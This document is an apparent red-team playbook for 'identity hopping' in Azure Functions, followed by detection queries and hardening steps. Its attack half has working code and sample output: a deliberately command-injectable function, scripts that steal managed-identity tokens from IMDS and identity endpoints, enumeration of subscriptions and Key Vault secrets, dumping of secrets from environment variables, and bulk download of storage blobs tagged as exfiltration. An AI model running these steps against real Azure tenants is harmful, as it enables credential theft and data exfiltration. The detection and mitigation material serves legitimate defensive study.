| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-032 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, Azure Functions |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Azure Functions all versions (Consumption, Premium, Dedicated App Service Plans) |
| Patched In | N/A (Requires configuration hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Function Apps can be configured with managed identities or system-assigned identities that grant access to specific Azure resources (Storage, Key Vault, Databases, etc.). When a function is compromised (via code injection, dependency vulnerability, or supply chain attack), an attacker can retrieve the function’s identity token from the Azure Instance Metadata Service (IMDS) and use it to authenticate to other Azure resources or services. This enables “identity hopping” – moving from the function’s context to other resources the function has permissions on, bypassing normal authentication and audit controls.
Attack Surface: The Azure Instance Metadata Service (accessible at http://169.254.169.254 from within the function runtime); the function’s managed identity token stored in memory; environment variables containing connection strings or API keys; role assignments (RBAC) that grant the function excessive permissions.
Business Impact: Complete subscription or resource compromise. An attacker can leverage the function’s identity to access storage accounts (exfil data), key vaults (steal secrets), SQL databases (extract records), or other resources the function was assigned access to. If the function has a high-privilege role (e.g., Contributor on the subscription), the attacker gains near-administrative access to all resources in that subscription.
Technical Context: Token retrieval typically takes seconds once the function is compromised. Detection depends on monitoring IMDS queries and unusual identity usage patterns. Many organizations do not monitor function runtime activity closely, making this attack difficult to detect.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.2.6 | Ensure that only necessary Azure Roles are assigned |
| CIS Benchmark | 1.4.1 | Enforce Azure AD Multi-Tenant Security |
| DISA STIG | V-254381 | Implement least privilege for function identities |
| CISA SCuBA | C.1.2 | Minimize function role assignments |
| NIST 800-53 | AC-2 | Account Management |
| NIST 800-53 | AC-3 | Access Enforcement |
| GDPR | Art. 32 | Security of Processing |
| DORA | Art. 9 | Protection and Prevention |
| NIS2 | Art. 21 | Cyber Risk Management |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Risk Scenario | Privilege Escalation via Managed Identity |
Supported Versions: Azure Functions Consumption, Premium, Dedicated (all versions); Runtime 2.0+
Objective: Gain code execution within the function runtime.
Common Entry Points:
Example (Python Function with Code Injection Vulnerability):
# Vulnerable function code
import azure.functions as func
import subprocess
def main(req: func.HttpRequest) -> func.HttpResponse:
command = req.params.get('cmd')
result = subprocess.run(command, shell=True, capture_output=True) # VULNERABLE!
return func.HttpResponse(result.stdout)
Attack:
curl "https://myfunction.azurewebsites.net/api/vulnerable?cmd=id"
# Returns: uid=0(root) gid=0(root) groups=0(root)
What This Means:
OpSec & Evasion:
Troubleshooting:
Command not found
References & Proofs:
Objective: Retrieve the access token for the function’s managed identity from the Azure Instance Metadata Service.
Command (From within the function runtime):
import requests
import json
import os
# Option 1: Using MSI_ENDPOINT and MSI_SECRET (older runtime)
try:
msi_endpoint = os.environ['MSI_ENDPOINT']
msi_secret = os.environ['MSI_SECRET']
token_response = requests.get(
f"{msi_endpoint}?resource=https://management.azure.com&api-version=2017-09-01",
headers={"Secret": msi_secret}
)
token = token_response.json()['access_token']
except:
pass
# Option 2: Using IDENTITY_ENDPOINT and IDENTITY_HEADER (newer runtime)
try:
identity_endpoint = os.environ['IDENTITY_ENDPOINT']
identity_header = os.environ['IDENTITY_HEADER']
token_response = requests.get(
f"{identity_endpoint}?resource=https://management.azure.com&api-version=2019-08-01",
headers={"X-IDENTITY-HEADER": identity_header}
)
token = token_response.json()['access_token']
except:
pass
# Option 3: Direct IMDS query (if metadata service is accessible)
try:
token_response = requests.get(
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com",
headers={"Metadata": "true"}
)
token = token_response.json()['access_token']
except:
pass
print(f"Token: {token[:50]}...") # Print first 50 chars (JWT payload)
Expected Output:
Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjE4MjcyMjJkO...
What This Means:
OpSec & Evasion:
Troubleshooting:
KeyError: 'MSI_ENDPOINT' or KeyError: 'IDENTITY_ENDPOINT'
requests.ConnectionError: Connection refused
References & Proofs:
Objective: Inspect the token claims to understand what resources and permissions are available.
Command:
import base64
import json
# Decode JWT (without verification – for inspection only)
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjE4MjcyMjJkO..."
payload = token.split('.')[1]
# Add padding if necessary
payload += '=' * (4 - len(payload) % 4)
decoded = base64.urlsafe_b64decode(payload)
claims = json.loads(decoded)
print(json.dumps(claims, indent=2))
Expected Output:
{
"aud": "https://management.azure.com",
"iss": "https://sts.windows.net/12345678-1234-1234-1234-123456789012/",
"iat": 1609459200,
"nbf": 1609459200,
"exp": 1609462800,
"aio": "E2RgYIg/12345+abcde/ABCD==",
"appid": "87654321-4321-4321-4321-210987654321",
"appidacr": "2",
"idp": "https://sts.windows.net/12345678-1234-1234-1234-123456789012/",
"oid": "12345678-1234-1234-1234-123456789012",
"rh": "0.ARoA1234567...",
"sub": "12345678-1234-1234-1234-123456789012",
"tid": "12345678-1234-1234-1234-123456789012",
"uti": "abcdefghijklmnop",
"ver": "1.0"
}
What This Means:
oid (object ID) identifies the managed identity within Entra IDtid (tenant ID) identifies the Azure tenantOpSec & Evasion:
Troubleshooting:
json.JSONDecodeError: Expecting value
References & Proofs:
Objective: Authenticate to Azure Resource Manager using the stolen token and enumerate or access resources the function has permission on.
Command (Python):
import requests
import json
# Use the token to access Azure Resource Manager
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjE4MjcyMjJkO..."
headers = {"Authorization": f"Bearer {token}"}
# List all subscriptions the function's identity has access to
response = requests.get(
"https://management.azure.com/subscriptions?api-version=2020-01-01",
headers=headers
)
subscriptions = response.json()['value']
print(f"Accessible Subscriptions: {len(subscriptions)}")
for sub in subscriptions:
print(f" - {sub['displayName']} ({sub['subscriptionId']})")
# List all resources the function's identity can access
for sub in subscriptions:
sub_id = sub['subscriptionId']
response = requests.get(
f"https://management.azure.com/subscriptions/{sub_id}/resources?api-version=2021-04-01",
headers=headers
)
resources = response.json().get('value', [])
print(f"\nResources in {sub['displayName']}:")
for resource in resources:
print(f" - {resource['type']}: {resource['name']}")
# Access a specific Key Vault (if the function has access)
response = requests.get(
"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}/providers/Microsoft.KeyVault/vaults/{vault_name}?api-version=2021-06-01-preview",
headers=headers
)
print(f"Key Vault Access: {response.status_code}")
# List secrets in the Key Vault (if function has Data Reader role)
kv_token_response = requests.get(
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net",
headers={"Metadata": "true"}
)
kv_token = kv_token_response.json()['access_token']
response = requests.get(
f"https://{vault_name}.vault.azure.net/secrets?api-version=7.0",
headers={"Authorization": f"Bearer {kv_token}"}
)
print(f"Secrets: {response.json()}")
Expected Output:
Accessible Subscriptions: 2
- Production (12345678-1234-1234-1234-123456789012)
- Development (87654321-4321-4321-4321-210987654321)
Resources in Production:
- Microsoft.Storage/storageAccounts: prodstg123
- Microsoft.KeyVault/vaults: prod-kv
- Microsoft.Sql/servers: prod-db
Key Vault Access: 200
Secrets: {
"value": [
{
"id": "https://prod-kv.vault.azure.net/secrets/db-password",
"attributes": {...}
},
{
"id": "https://prod-kv.vault.azure.net/secrets/api-key",
"attributes": {...}
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Unauthorized (401)
References & Proofs:
Supported Versions: Azure Functions all versions
Objective: Retrieve connection strings and credentials stored in function app settings.
Command (JavaScript/Node.js):
// From within the function code
const process = require('process');
// List all environment variables
console.log("Environment Variables:");
for (const [key, value] of Object.entries(process.env)) {
if (key.includes('CONNECTION') || key.includes('SECRET') || key.includes('PASSWORD') || key.includes('KEY')) {
console.log(` ${key}: ${value.substring(0, 50)}...`);
}
}
// Retrieve specific connection strings
const storageConnectionString = process.env.AzureWebJobsStorage;
const keyVaultUrl = process.env.KEY_VAULT_URL;
const dbPassword = process.env.DATABASE_PASSWORD;
module.exports = async function (context, req) {
context.log(`Storage: ${storageConnectionString}`);
context.log(`KV URL: ${keyVaultUrl}`);
context.res = { body: "Credentials extracted" };
};
Expected Output:
Environment Variables:
AzureWebJobsStorage: DefaultEndpointsProtocol=https;AccountName=prodstg123;AccountKey=...
KEY_VAULT_URL: https://prod-kv.vault.azure.net/
DATABASE_PASSWORD: P@ssw0rd123!SuperSecure
API_KEY_STRIPE: sk_live_1234567890abcdef1234567890ab
What This Means:
OpSec & Evasion:
Troubleshooting:
undefined for connection string
References & Proofs:
Objective: Use the connection strings to authenticate to underlying resources (Storage, Database, Key Vault).
Command (Python - Storage Access):
from azure.storage.blob import BlobServiceClient
# Use connection string from environment variable
connection_string = "DefaultEndpointsProtocol=https;AccountName=prodstg123;AccountKey=..."
blob_service_client = BlobServiceClient.from_connection_string(connection_string)
# List all containers
containers = blob_service_client.list_containers()
for container in containers:
print(f"Container: {container['name']}")
# List all blobs in the container
container_client = blob_service_client.get_container_client(container['name'])
blobs = container_client.list_blobs()
for blob in blobs:
print(f" - {blob.name}")
# Download sensitive files
if blob.name.endswith(('.sql', '.backup', '.json', '.yaml')):
blob_client = container_client.get_blob_client(blob.name)
download_stream = blob_client.download_blob()
content = download_stream.readall()
print(f" [EXFIL] Downloaded {blob.name} ({len(content)} bytes)")
Expected Output:
Container: backups
- database-backup-2024-01-01.sql
[EXFIL] Downloaded database-backup-2024-01-01.sql (512000000 bytes)
- config.json
[EXFIL] Downloaded config.json (2048 bytes)
Container: logs
- app-logs-2024-01.log
- audit-trail-2024-01.json
What This Means:
OpSec & Evasion:
Troubleshooting:
ResourceNotFoundError: The specified container does not exist
References & Proofs:
Rule Configuration:
AppServiceHTTPLogs, AzureActivityCsMethod, CsUriStem, ScStatus, CallerIpAddressKQL Query:
AppServiceHTTPLogs
| where AppServiceResourceName contains "function"
and CsUriStem contains "/metadata/identity/oauth2/token"
or CsUriStem contains "identity/oauth2/token"
| where ScStatus == 200
| summarize TokenRequests=count() by AppServiceResourceName, ClientIP, TimeGenerated
| where TokenRequests > 5 // Threshold: more than 5 token requests
| project TimeGenerated, AppServiceResourceName, ClientIP, TokenRequests
What This Detects:
Manual Configuration Steps (Azure Portal):
Unusual Token Requests from Function RuntimeHigh10 minutes1 hourRule Configuration:
AzureActivityCallerIpAddress, SubscriptionId, OperationName, CallerKQL Query:
AzureActivity
| where Caller contains "system assigned identity" or Caller contains "msi"
and OperationName contains "List" or OperationName contains "Get"
| summarize DistinctSubscriptions=dcount(SubscriptionId), ResourceCount=count() by Caller, CallerIpAddress, TimeGenerated
| where DistinctSubscriptions > 1 // Threshold: accessing multiple subscriptions
| project TimeGenerated, Caller, CallerIpAddress, DistinctSubscriptions, ResourceCount
What This Detects:
Event ID: 4647 (User Logoff) / 4648 (Logon with Explicit Credentials)
Manual Configuration Steps (Azure Portal):
Implement Least-Privilege Role Assignments: Limit function managed identity to only the specific resources and actions required.
Current Configuration (Over-Privileged):
- Function Role: Contributor on Subscription
- Allows: All actions on all resources
Hardened Configuration (Least Privilege):
- Function Role: Storage Blob Data Reader on specific Storage Account
- Function Role: Key Vault Data Reader on specific Key Vault
- Function Role: Custom Role (read-only SQL Database)
Manual Steps (Azure Portal):
Storage Blob Data Reader)/subscriptions/xxx/resourceGroups/xxx/providers/Microsoft.Storage/storageAccounts/xxx)Manual Steps (PowerShell):
# Get the function's managed identity principal ID
$functionAppId = (Get-AzFunctionApp -ResourceGroupName $rg -Name $functionName).Identity.PrincipalId
# Remove broad roles
$roleAssignments = Get-AzRoleAssignment -ObjectId $functionAppId
$roleAssignments | Where-Object {$_.RoleDefinitionName -eq "Contributor"} | Remove-AzRoleAssignment
# Assign limited roles
New-AzRoleAssignment -ObjectId $functionAppId -RoleDefinitionName "Storage Blob Data Reader" `
-Scope "/subscriptions/$subscriptionId/resourceGroups/$rg/providers/Microsoft.Storage/storageAccounts/$storageName"
Version Note: Applies to all Azure Functions versions; role assignment scope can be subscription, resource group, or individual resource
Use Azure Key Vault for Sensitive Credentials: Store connection strings, passwords, and API keys in Key Vault instead of app settings.
Configuration (Key Vault Integration):
using Azure.Identity;
using Azure.Security.KeyVault.Secrets;
// Function App code
public static async Task<IActionResult> Run(
[HttpTrigger(AuthorizationLevel.Function, "get", "post", Route = null)] HttpRequest req,
ILogger log)
{
// Retrieve secret from Key Vault using function's managed identity
var client = new SecretClient(new Uri("https://myvault.vault.azure.net/"), new DefaultAzureCredential());
KeyVaultSecret secret = await client.GetSecretAsync("db-password");
string connectionString = $"User ID=admin;Password={secret.Value};...";
return new OkObjectResult("Secret retrieved securely");
}
Manual Steps (Azure Portal):
Disable Unused Managed Identities: Disable system-assigned identities for functions that do not require Azure resource access.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Update-AzFunctionApp -ResourceGroupName $rg -Name $functionName -IdentityType None
Restrict IMDS Access: Disable or restrict the Azure Instance Metadata Service (IMDS) to only authorized function calls.
Manual Steps (Azure Portal):
169.254.169.254:80 via Azure Firewall or NSG rulesManual Steps (Azure CLI):
# Block IMDS access from function subnets
az network nsg rule create --resource-group $rg --nsg-name $nsgName --name "Block-IMDS" \
--priority 100 --direction Outbound --access Deny \
--protocol "*" --source-address-prefix "*" --destination-address-prefix "169.254.169.254/32" \
--destination-port-range "*"
Enable Azure Defender for App Service: Monitor function runtime behavior for anomalies.
Manual Steps (Azure Portal):
Implement Network Security Groups (NSGs): Restrict outbound connections from function runtime.
Manual Steps (Azure Portal):
Implement Conditional Access Policies: Require MFA or device compliance for high-privilege function identities.
Manual Steps (Azure Portal):
Restrict Function Identity Access# Check function's role assignments
az role assignment list --assignee "<function-managed-identity-id>" --output table
# Verify least-privilege roles are assigned
az role assignment list --assignee "<function-managed-identity-id>" | jq '.[] | select(.roleDefinitionName | test("Contributor|Owner"))'
# Check if system-assigned identity is disabled
az functionapp identity show --name <function-name> --resource-group <rg> --query 'type'
# Expected: "None" or "UserAssigned" (not "SystemAssigned" for unused functions)
What to Look For:
169.254.169.254 from function processes# Disable the function's managed identity
az functionapp identity remove --name <function-name> --resource-group <rg>
# Or, stop the function app entirely
az functionapp stop --name <function-name> --resource-group <rg>
Manual (Azure Portal):
# Export Function App logs
az monitor app-insights metrics show --app <app-insights-name> --resource-group <rg> > /evidence/app-insights.txt
# Export Azure Activity logs
az monitor activity-log list --resource-group <rg> --offset 24h > /evidence/activity-logs.txt
# Export function code for vulnerability analysis
az functionapp source control config --name <function-name> --resource-group <rg> --branch main --repourl <repo-url>
# Remove compromised role assignments
az role assignment delete --assignee "<function-managed-identity-id>" --role "Contributor"
# Update function code to fix vulnerability
# (Re-deploy patched function version)
az functionapp deployment source config-zip --name <function-name> --resource-group <rg> --src <patched-function.zip>
# Re-enable managed identity with least-privilege roles
az functionapp identity assign --name <function-name> --resource-group <rg>
az role assignment create --assignee "<function-managed-identity-id>" --role "Storage Blob Data Reader" --scope <storage-resource-id>
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse | Function endpoint exposed and compromised |
| 2 | Execution | Code Injection / Dependency Vulnerability | Malicious code executed within function runtime |
| 3 | Lateral Movement | [LM-AUTH-032] Function App Identity Hopping | Current Step: Token retrieved and used to access other resources |
| 4 | Collection | [LM-AUTH-034] Data Factory Credential Reuse | Credentials used to access databases and data stores |
| 5 | Impact | Data Exfiltration | Sensitive data accessed and exfiltrated from other resources |